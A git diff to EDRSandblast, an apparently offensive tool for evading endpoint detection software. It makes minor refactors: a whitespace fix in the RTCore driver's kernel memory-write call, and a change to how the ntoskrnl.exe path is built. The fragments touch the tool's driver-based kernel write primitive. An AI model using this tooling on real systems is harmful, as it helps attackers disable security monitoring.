diff --git a/EDRSandblast/Drivers/DriverRTCore.c b/EDRSandblast/Drivers/DriverRTCore.c index d2eafcd..e3fbd76 100644 --- a/EDRSandblast/Drivers/DriverRTCore.c +++ b/EDRSandblast/Drivers/DriverRTCore.c @@ -139,7 +139,7 @@ VOID WriteMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) { exit(1); } - DeviceIoControl(GetDriverHandle_RTCore (), + DeviceIoControl(GetDriverHandle_RTCore(), RTCORE64_MEMORY_WRITE_CODE, &WriteCommand, sizeof(WriteCommand), diff --git a/EDRSandblast/Utils/NtoskrnlOffsets.c b/EDRSandblast/Utils/NtoskrnlOffsets.c index 7556804..fa4f8d9 100644 --- a/EDRSandblast/Utils/NtoskrnlOffsets.c +++ b/EDRSandblast/Utils/NtoskrnlOffsets.c @@ -6,6 +6,7 @@ */ #include #include +#include #include "FileVersion.h" #include "PrintFunctions.h" @@ -126,12 +127,10 @@ TCHAR g_ntoskrnlPath[MAX_PATH] = { 0 }; LPTSTR GetNtoskrnlPath() { if (_tcslen(g_ntoskrnlPath) == 0) { // Retrieves the system folder (eg C:\Windows\System32). - TCHAR systemDirectory[MAX_PATH] = { 0 }; - GetSystemDirectory(systemDirectory, _countof(systemDirectory)); + GetSystemDirectory(g_ntoskrnlPath, _countof(g_ntoskrnlPath)); // Compute ntoskrnl.exe path. - _tcscat_s(g_ntoskrnlPath, _countof(g_ntoskrnlPath), systemDirectory); - _tcscat_s(g_ntoskrnlPath, _countof(g_ntoskrnlPath), TEXT("\\ntoskrnl.exe")); + PathAppend(g_ntoskrnlPath, TEXT("\\ntoskrnl.exe")); } return g_ntoskrnlPath; }